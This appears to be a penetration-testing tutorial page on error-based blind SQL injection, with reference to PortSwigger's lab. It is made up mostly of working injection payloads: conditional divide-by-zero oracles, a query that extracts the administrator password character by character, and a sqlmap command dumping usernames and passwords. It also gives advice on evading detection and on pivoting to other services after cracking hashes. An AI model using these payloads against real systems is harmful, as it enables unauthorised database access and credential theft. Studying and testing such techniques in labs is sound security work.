Error-based Blind SQLi
The query output isn’t reflected, the response body is identical for true and false conditions, and timing is unreliable - but the application returns a distinguishable error when the backend query fails. Force an error only when a condition is true, and the error itself becomes the boolean oracle.
-- Oracle: divide by zero only when the condition is TRUE → DB error' AND (SELECT CASE WHEN (<condition>) THEN TO_CHAR(1/0) ELSE NULL END FROM dual) IS NULL-- -If <condition> is true the query errors (HTTP 500, a custom error page, a stack trace); if false it returns normally. Everything else works like boolean blind - binary-search each character - except the signal is “errored vs. didn’t” instead of “content changed”.
The trailing IS NULL matters: it turns the scalar subquery into a valid boolean predicate for the AND. On the false branch the subquery returns NULL, NULL IS NULL is true, and the query runs normally; on the true branch the engine must evaluate 1/0 and raises. Without it, AND <string-or-null> is a type error that fails on both branches, giving you no oracle.
When to use
Section titled “When to use”| Symptom | Class |
|---|---|
| Errors printed with query output | UNION-based / error-based extraction |
| Response differs on true vs. false condition | Boolean blind |
| Response only differs in timing | Time-based blind |
| Response identical, but a condition-triggered error changes it | This page |
| No feedback of any kind | Out-of-band |
This is the method PortSwigger’s “conditional errors” lab tests. Reach for it when boolean content differences don’t exist but you can still provoke a visible error state, and before falling back to slow time-based extraction.
Step 1 - Confirm the injection is interpreted as SQL
Section titled “Step 1 - Confirm the injection is interpreted as SQL”A single quote may already throw an error. Prove the error is SQL (not generic input rejection) by submitting syntactically valid subqueries and watching the error appear and disappear:
' → error (unbalanced quote)'' → no error'||(SELECT '')||' → may still error depending on DBMS'||(SELECT '' FROM dual)||' → no error on Oracle (needs a table)Step 2 - Build the conditional error
Section titled “Step 2 - Build the conditional error”Pair a true/false condition with an expression that is only evaluated (and only errors) when the condition holds. Division by zero is the classic trigger. Use 1=1 to prove the error fires and 1=2 to prove it stops before plugging in a real condition.
' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE NULL END FROM dual) IS NULL-- --- divisor is itself the CASE, so 1/0 can only be reached on the true branch' AND (SELECT 1/(CASE WHEN (1=1) THEN 0 ELSE 1 END)) IS NULL-- -' AND 1=(SELECT CASE WHEN (1=1) THEN 1/0 ELSE 1 END)-- --- scalar subquery returns >1 row (error) only on the true branch' AND (SELECT CASE WHEN (1=1) THEN (SELECT table_name FROM information_schema.tables) ELSE NULL END) IS NULL-- -Swap 1=1 for 1=2 and the error must disappear. If it fires on both, the trigger is being evaluated independently of the condition - see the first failure mode below.
Step 3 - Extract character by character
Section titled “Step 3 - Extract character by character”Replace the constant condition with a substring comparison, exactly as in boolean blind - keep the same conditional-error wrapper, only the condition changes:
' AND (SELECT CASE WHEN (SUBSTR((SELECT password FROM users WHERE username='administrator'),1,1)='a') THEN TO_CHAR(1/0) ELSE NULL END FROM dual) IS NULL-- -Error present → the character matches. Binary-search with >/< on ASCII()/ORD() to cut requests per character from ~94 to ~7, same algorithm as the boolean page. The data-dependent condition also sidesteps the PostgreSQL constant-folding problem, since the planner can’t evaluate a per-row comparison ahead of time.
Automation
Section titled “Automation”To sqlmap this is a boolean-blind oracle - the error state is just its “true” response signature - so use --technique=B, not E. (sqlmap’s E is error-based extraction, which scrapes data out of printed error-message text, a different technique covered under UNION-based.) Point it at a reliable true/false matcher:
sqlmap -u "https://<TARGET>/page" --cookie="TrackingId=xyz*" \ --technique=B --string="Internal Server Error" \ --dbms=oracle --dump -T users -C username,password--string (or --code=500) tells sqlmap what the “true”/errored response looks like.
For manual control you can reuse the boolean-blind ffuf and bash loops, but changing the match filter alone is not enough: those payloads compare a substring directly and produce a content difference, never an error. Swap the injected payload for the conditional-error wrapper above (so the comparison sits inside the CASE), then match on the error - e.g. ffuf ... -mc 500, or -mr "error string" when the error page returns 200.
Common failure modes
Section titled “Common failure modes”- The error fires on both
1=1and1=2. The trigger is being evaluated independently of the condition - on PostgreSQL this is constant folding (see the Step 2 caution; make the divisor depend on theCASE). On other engines, make sure the erroring expression is only reachable through the true branch, not computed alongside it. - The app returns 200 with a generic error page. That is not necessarily a dead end: if the error page differs from the normal response at all - different text, different length - that difference is your oracle, and you’re really doing boolean blind with the error page as the “true” state. Only fall back to time-based when the errored and successful responses are genuinely indistinguishable.
- WAF blocks
1/0orCASE. See Bypasses; a subquery returning multiple rows ((SELECT table_name FROM information_schema.tables)) or a failingCASTare alternative error triggers.
- Capture one request/response pair showing the errored vs. clean state - it’s clean evidence that the condition controlled the backend.
- This technique leaks nothing in the response body, so it often slips past response-diffing detection while still being noisy in DB error logs. Note that asymmetry in the report.
Next move
Section titled “Next move”- Error oracle confirmed → automate with sqlmap
--technique=B --string=/--code=500, or the boolean-blind scripts with the conditional-error payload matched on status code - Backend fingerprinted as Oracle via
FROM dual→ use the DBMS cheatsheet for Oracle-specific schema queries (all_tables,all_tab_columns) - No error oracle after all → Time-based blind, then Out-of-band if timing is also unreliable
- Extracted an admin hash → crack offline, then pivot to MSSQL / WinRM / SSH on the same host
- Hardening this class out of an app → SQLi defense